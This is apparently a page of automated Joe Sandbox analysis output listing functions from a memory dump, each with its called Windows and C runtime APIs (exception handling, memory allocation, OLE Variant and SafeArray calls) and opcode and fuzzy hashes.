Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 1be97acd830b590ccccb3a0a9b5b73a9385ea4a8b9a51f39803da88ee56c96b1
Instruction ID: ab031e4623fdb65a2f155ec31915686b1474ce9c6dcf7cd683a0ca55c28c47c3
Opcode Fuzzy Hash: 1be97acd830b590ccccb3a0a9b5b73a9385ea4a8b9a51f39803da88ee56c96b1
Instruction Fuzzy Hash: E1514BB5A01649AFD704CFA8C980A99FBF4FB19304F90826AD419D7740D731E954CFA2

Function 68965F00 Relevance: 6.1, APIs: 4, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 68966035
__CxxThrowException@8.LIBCMT ref: 6896604A
std::exception::exception.LIBCMT ref: 68966059
__CxxThrowException@8.LIBCMT ref: 6896606E

Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C04
Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C1E
Part of subcall function 689A9BB5: __CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: f906e10db2ab1473953c8fe09224d542cd2e618964d2db6fd36ac62b18ce42e7
Instruction ID: 4deb82a1d2a6c82a747f67bbc100de5e4f9c31e7447e2a9d0a62f671b629a312
Opcode Fuzzy Hash: f906e10db2ab1473953c8fe09224d542cd2e618964d2db6fd36ac62b18ce42e7
Instruction Fuzzy Hash: 0C515AB5A00609AFD704CFA8C880A99FBF4FF19314F90826EE529D7B41D771E954CBA1

Function 6895DE50 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6895DE81
VariantClear.OLEAUT32(?), ref: 6895DF3C
VariantClear.OLEAUT32(?), ref: 6895DF6D
VariantClear.OLEAUT32(?), ref: 6895DF8B

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$Init
String ID:
API String ID: 3740757921-0
Opcode ID: d694d501a6644c43c424e46f63ffea139befef1bc91d2bdd569a54c168cf357c
Instruction ID: e29a9a729db8a81158d715aed5a9e07c579702aa1f7d33b010d6658b0750c8d6
Opcode Fuzzy Hash: d694d501a6644c43c424e46f63ffea139befef1bc91d2bdd569a54c168cf357c
Instruction Fuzzy Hash: 464189722083019FD700DF29C940A5AB7E8FF99724F444A6EF9549B350D731E905CBA2

Function 68965DB0 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 68965E87
__CxxThrowException@8.LIBCMT ref: 68965E9C
std::exception::exception.LIBCMT ref: 68965EAB
__CxxThrowException@8.LIBCMT ref: 68965EC0

Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C04
Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C1E
Part of subcall function 689A9BB5: __CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 14c37fe6f67150ea8663c9894d7dfe18488b6002305c658995023ea93315cb9c
Instruction ID: d1cf83e0ec73b491caa87ef12b16a666dbd1709e136a38271daad8dd83f83ff6
Opcode Fuzzy Hash: 14c37fe6f67150ea8663c9894d7dfe18488b6002305c658995023ea93315cb9c
Instruction Fuzzy Hash: FC416CB59007489FDB20CF68C881A9AFBF4FF19304F80896ED85A97741D772E504CBA5

Function 6895D360 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 6895D437
__CxxThrowException@8.LIBCMT ref: 6895D44C
std::exception::exception.LIBCMT ref: 6895D45B
__CxxThrowException@8.LIBCMT ref: 6895D470

Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C04
Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C1E
Part of subcall function 689A9BB5: __CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 350aeda305fb831cbdb117345c97b15b778151f096d6147afe2c078b4f052e1b
Instruction ID: 0ca742be4b171422ae59bb71f4821cf355dd2c8908098fc17dc72f3bf319225c
Opcode Fuzzy Hash: 350aeda305fb831cbdb117345c97b15b778151f096d6147afe2c078b4f052e1b
Instruction Fuzzy Hash: 72411AB59007489FC720CF69D880A9AFBF4FF19304F80896EE95A97741D772E504CBA6

Function 689A2B80 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

Part of subcall function 68976480: __CxxThrowException@8.LIBCMT ref: 68976518
Part of subcall function 68976480: __CxxThrowException@8.LIBCMT ref: 68976558

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 689A2C9A
__CxxThrowException@8.LIBCMT ref: 689A2CB1
std::exception::exception.LIBCMT ref: 689A2CC3
__CxxThrowException@8.LIBCMT ref: 689A2CDA

Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C04
Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C1E
Part of subcall function 689A9BB5: __CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw$std::exception::exception$_malloc
String ID:
API String ID: 3942750879-0
Opcode ID: 1898eae1bf70cf1f97c5b1ac8806c44f3992e28c981d6b334a6cbf9417f6d67c
Instruction ID: 62a911c25f2b76f4695b3d1a0f29ab351f605076c5a6cc078b2e821b82c802f6
Opcode Fuzzy Hash: 1898eae1bf70cf1f97c5b1ac8806c44f3992e28c981d6b334a6cbf9417f6d67c
Instruction Fuzzy Hash: A04158B55187019FC314CF69C880A5AFBF4FFA9314F908A2EF1AA87680D771E504CB92

Function 6896C410 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6896C478
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6896C488
SafeArrayGetElement.OLEAUT32(?,00000001,?), ref: 6896C4B4
SafeArrayDestroy.OLEAUT32(?), ref: 6896C512

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Bound$DestroyElement
String ID:
API String ID: 3987547017-0
Opcode ID: 31ce04bd1e16a83d0c6459e1fb5cbade97926e480bd44ebe99b5911aeeb097c3
Instruction ID: f4e2b00c9fe60b2a272d793a9c1e3c49b2bc2523674f9dd83a9c8316156bc546
Opcode Fuzzy Hash: 31ce04bd1e16a83d0c6459e1fb5cbade97926e480bd44ebe99b5911aeeb097c3
Instruction Fuzzy Hash: 18414D75A0414AAFDF10CF98C884DAEB7B8FF59354F508569F929E7240D730EA85CBA0

Function 6896B580 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(689C02A0), ref: 6896B5D5
VariantInit.OLEAUT32(?), ref: 6896B5E2
VariantClear.OLEAUT32(?), ref: 6896B685
VariantClear.OLEAUT32(689C02A0), ref: 6896B68B

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 69e991c3bf5f329342f3cff944ee9bba0ed1b13b6fda1321daca6acb909cf39a
Instruction ID: 2e28afbc2a57c02d61a240193a36a879bfb2f3cdf08a1bba9f46bc5cafe3e74b
Opcode Fuzzy Hash: 69e991c3bf5f329342f3cff944ee9bba0ed1b13b6fda1321daca6acb909cf39a
Instruction Fuzzy Hash: 81414F72A05209DFDB10DFA9C980B9AF7F9FF99324F2041A9E9149B350D736E941CB90

Function 689B88C9 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 689B88FD
__isleadbyte_l.LIBCMT ref: 689B8930
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?), ref: 689B8961
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?), ref: 689B89CF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 395adf20140c19523f5aed9917fc48366c18dbcce9926e4cdb61b0619734137a
Instruction ID: 8d3643926f8c4ba80d7e03b80bd45a739ec5443e37a5bfcee8cffb43a417a9b4
Opcode Fuzzy Hash: 395adf20140c19523f5aed9917fc48366c18dbcce9926e4cdb61b0619734137a
Instruction Fuzzy Hash: 8F31CE31A84247EFDF09CFA8C8849BE3BB8BF09398F904968E074AB190D331C940CB51

Function 68945A30 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 68945ACB
__CxxThrowException@8.LIBCMT ref: 68945AE0
std::exception::exception.LIBCMT ref: 68945B18
__CxxThrowException@8.LIBCMT ref: 68945B2D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$_malloc
String ID:
API String ID: 3153320871-0
Opcode ID: 6b735e68bd6fea3737e9ffe47e508c3667e1ae9d1e8a9d666083bd8c17c2bdfd
Instruction ID: 435c5eafd197c1474a5ead0951704447d5444b72d24e159ee1aa5b6168c14ee3
Opcode Fuzzy Hash: 6b735e68bd6fea3737e9ffe47e508c3667e1ae9d1e8a9d666083bd8c17c2bdfd
Instruction Fuzzy Hash: 3E3173B5900608AFCB14DF98D84199AF7F8FF58754F40866EE81997740EB71EA04CBA1

Function 68958470 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

InitializeCriticalSection.KERNEL32(00000000,00000000,68955D89,00000000,00000004,00000000,?,00000000,00000000), ref: 689584EA
InitializeCriticalSection.KERNEL32(00000018,?,00000000,00000000), ref: 689584F0
std::exception::exception.LIBCMT ref: 6895853C
__CxxThrowException@8.LIBCMT ref: 68958551

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CriticalInitializeSection$Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 3005353045-0
Opcode ID: 5849289e0b9e7fc095f8caa6c16bf98ccf31df764d7560056c3dc5efe8a0dcec
Instruction ID: b6660805aeb25f5517f32a3e74ad0d9213d3673e68aa8b750624940f6be75df3
Opcode Fuzzy Hash: 5849289e0b9e7fc095f8caa6c16bf98ccf31df764d7560056c3dc5efe8a0dcec
Instruction Fuzzy Hash: BD317E75601704AFC714CF68C880A9AFBF8FF19210F80866EE85697B40D771F644CB91

Function 6896DC40 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6896DCC5

Part of subcall function 689A9533: std::exception::_Copy_str.LIBCMT ref: 689A954E

__CxxThrowException@8.LIBCMT ref: 6896DCDA

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 6896DD09
__CxxThrowException@8.LIBCMT ref: 6896DD1E

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 399550787-0
Opcode ID: 6ecf777882a2b8d158d188f1fbf225d7de7962da8182bf39cd7841ae34e8826d
Instruction ID: b86de47b4e647182542af59d8b1209930af869172c40f878447ff1c06bf596ce
Opcode Fuzzy Hash: 6ecf777882a2b8d158d188f1fbf225d7de7962da8182bf39cd7841ae34e8826d
Instruction Fuzzy Hash: 203170B5900308AFDB04DF99D851AAEBBF8FF58310F80816DE92997350D771EA04CBA1

Function 689B2645 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 689B2653

Part of subcall function 689A9D66: __FF_MSGBANNER.LIBCMT ref: 689A9D7F
Part of subcall function 689A9D66: __NMSG_WRITE.LIBCMT ref: 689A9D86
Part of subcall function 689A9D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,689A9BD4,68941290,513F6A41), ref: 689A9DAB

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: c6359a51e07f19a9d449cde27a48a7987569294fe0e16bfb4af987f87200d59d
Instruction ID: 963919977a726cc45c3deb8bc92798e9f3152cfa0b0747ff253208a6b46d067a
Opcode Fuzzy Hash: c6359a51e07f19a9d449cde27a48a7987569294fe0e16bfb4af987f87200d59d
Instruction Fuzzy Hash: 3C11CD36545614DBCF251FB4E80866F3BA8EF5A36AB900527FC649B250DB35C8408B54

Function 68957240 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 68974410: _malloc.LIBCMT ref: 6897446E

SafeArrayCreateVector.OLEAUT32(00000011,00000000,?), ref: 68957287
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6895729B
_memmove.LIBCMT ref: 689572AF
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 689572B8

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Data$AccessCreateUnaccessVector_malloc_memmove
String ID:
API String ID: 583974297-0
Opcode ID: 8d38290bc9a03cf269d4fa9da7857652e25732674da270d03094dc2560081be6
Instruction ID: 3f7771d6f687bd475f9f5568ebfe90458d9cc026e93f917cc4ce1decf10b7f17
Opcode Fuzzy Hash: 8d38290bc9a03cf269d4fa9da7857652e25732674da270d03094dc2560081be6
